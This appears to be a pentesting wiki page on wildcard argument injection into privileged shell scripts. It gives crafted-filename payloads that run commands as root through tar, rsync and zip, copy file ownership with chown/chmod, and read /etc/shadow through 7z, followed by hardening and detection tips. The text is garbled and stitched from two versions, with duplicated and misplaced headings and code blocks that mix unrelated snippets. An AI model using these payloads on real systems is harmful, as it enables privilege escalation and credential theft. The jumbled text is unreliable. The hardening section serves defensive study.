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## chown, chmod
> Wildcard (aka *glob*) **argument injection** happens when a privileged script runs a Unix binary such as `tar`, `chown`, `rsync`, `zip`, `7z`, … with an unquoted wildcard like `*`.
> Since the shell expands the wildcard **before** executing the binary, an attacker who can create files in the working directory can craft filenames that begin with `-` so they are interpreted as **options instead of data**, effectively smuggling arbitrary flags or even commands.
> This page collects the most useful primitives, recent research and modern detections for 2023-2025.
You can **indicate which file owner and permissions you want to copy for the rest of the files**
## chown / chmod
You can **copy the owner/group or the permission bits of an arbitrary file** by abusing the `--reference` flag:
```bash
touch "--reference=/my/own/path/filename"
# attacker-controlled directory
touch "--reference=/root/secret``file" # ← filename becomes an argument
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## Tar
**Execute arbitrary commands:**
When root later executes something like:
```bash
chown -R alice:alice *.php
chmod -R 644 *.php
```
`--reference=/root/secret``file` is injected, causing *all* matching files to inherit the ownership/permissions of `/root/secret``file`.
*PoC & tool*: [`wildpwn`](https://github.com/localh0t/wildpwn) (combined attack).
See also the classic DefenseCode paper for details.
---
## tar
### GNU tar (Linux, *BSD, busybox-full)
Execute arbitrary commands by abusing the **checkpoint** feature:
```bash
# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
Once root runs e.g. `tar -czf /root/backup.tgz *`, `shell.sh` is executed as root.
## Rsync
### bsdtar / macOS 14+
**Execute arbitrary commands:**
The default `tar` on recent macOS (based on `libarchive`) does *not* implement `--checkpoint`, but you can still achieve code-execution with the **--use-compress-program** flag that allows you to specify an external compressor.
```bash
Interesting rsync option from manual:
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
# macOS example
touch "--use-compress-program=/bin/sh"
```
When a privileged script runs `tar -cf backup.tar *`, `/bin/sh` will be started.
---
## rsync
`rsync` lets you override the remote shell or even the remote binary via command-line flags that start with `-e` or `--rsync-path`:
```bash
touch "-e sh shell.sh"
# attacker-controlled directory
touch "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
If root later archives the directory with `rsync -az * backup:/srv/`, the injected flag spawns your shell on the remote side.
## 7z
*PoC*: [`wildpwn`](https://github.com/localh0t/wildpwn) (`rsync` mode).
In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root:
---
## 7-Zip / 7z / 7za
Even when the privileged script *defensively* prefixes the wildcard with `--` (to stop option parsing), the 7-Zip format supports **file list files** by prefixing the filename with `@`. Combining that with a symlink lets you *exfiltrate arbitrary files*:
```bash
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow root.txt # file we want to read
touch @root.txt # tells 7z to use root.txt as file list
```
And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read:
If root executes something like:
```bash
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
7za a /backup/`date +%F`.7z -t7z -snl -- *
```
Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content.
7-Zip will attempt to read `root.txt` (→ `/etc/shadow`) as a file list and will bail out, **printing the contents to stderr**.
_More info in Write-ups of the box CTF from HackTheBox._
---
## Zip
## zip
**Execute arbitrary commands:**
`zip` supports the flag `--unzip-command` that is passed *verbatim* to the system shell when the archive will be tested:
```bash
zip name.zip files -T --unzip-command "sh -c whoami"
zip result.zip files -T --unzip-command "sh -c id"
```
Inject the flag via a crafted filename and wait for the privileged backup script to call `zip -T` (test archive) on the resulting file.
---
## Additional binaries vulnerable to wildcard injection (2023-2025 quick list)
The following commands have been abused in modern CTFs and real environments. The payload is always created as a *filename* inside a writable directory that will later be processed with a wildcard:
| Binary | Flag to abuse | Effect |
| --- | --- | --- |
| `bsdtar` | `--newer-mtime=@<epoch>` → arbitrary `@file` | Read file contents |
| `flock` | `-c <cmd>` | Execute command |
| `git` | `-c core.sshCommand=<cmd>` | Command execution via git over SSH |
| `scp` | `-S <cmd>` | Spawn arbitrary program instead of ssh |
These primitives are less common than the *tar/rsync/zip* classics but worth checking when hunting.
---
## Detection & Hardening
1. **Disable shell globbing** in critical scripts: `set -f` (`set -o noglob`) prevents wildcard expansion.
2. **Quote or escape** arguments: `tar -czf "$dst" -- *` is *not* safe — prefer `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
3. **Explicit paths**: Use `/var/www/html/*.log` instead of `*` so attackers cannot create sibling files that start with `-`.
4. **Least privilege**: Run backup/maintenance jobs as an unprivileged service account instead of root whenever possible.
5. **Monitoring**: Elastics pre-built rule *Potential Shell via Wildcard Injection* looks for `tar --checkpoint=*`, `rsync -e*`, or `zip --unzip-command` immediately followed by a shell child process. The EQL query can be adapted for other EDRs.
---
## References
* Elastic Security Potential Shell via Wildcard Injection Detected rule (last updated 2025)
* Rutger Flohil “macOS — Tar wildcard injection” (Dec 18 2024)
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